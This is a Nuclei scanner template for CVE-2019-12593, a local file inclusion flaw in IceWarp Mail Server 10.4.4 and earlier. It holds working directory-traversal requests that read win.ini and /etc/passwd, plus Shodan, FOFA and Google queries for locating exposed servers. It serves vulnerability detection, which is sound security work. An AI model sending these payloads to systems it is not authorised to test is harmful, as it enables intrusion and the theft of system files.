id: CVE-2019-12593

info:
  name: IceWarp Mail Server <=10.4.4 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    IceWarp Mail Server through 10.4.4 is prone to a local file inclusion vulnerability via webmail/calendar/minimizer/index.php?style=..%5c directory traversal.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: |
    Upgrade IceWarp Mail Server to a version higher than 10.4.4 or apply the vendor-provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/JameelNabbo/exploits/blob/master/IceWarp%20%3C%3D10.4.4%20local%20file%20include.txt
    - http://www.icewarp.com
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12593
    - http://packetstormsecurity.com/files/153161/IceWarp-10.4.4-Local-File-Inclusion.html
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-12593
    cwe-id: CWE-22
    epss-score: 0.40965
    epss-percentile: 0.98519
    cpe: cpe:2.3:a:icewarp:mail_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: icewarp
    product: mail_server
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp server administration"
      - http.title:"icewarp"
      - cpe:"cpe:2.3:a:icewarp:mail_server"
    fofa-query:
      - title="icewarp server administration"
      - title="icewarp"
    google-query:
      - Powered By IceWarp 10.4.4
      - intitle:"icewarp"
      - powered by icewarp 10.4.4
      - intitle:"icewarp server administration"
  tags: cve,cve2019,packetstorm,lfi,icewarp,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "[intl]"
          - "root:x:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100947c4eadb658c61c32a437ffc4a082234d5f82be56a949a9bdef9c6cb44a7980022043fee697c218ad12da9f60c12c51135fa69dce0c8769f6beffc234c1a73d43e0:922c64590222798bb761d5b6d8e72950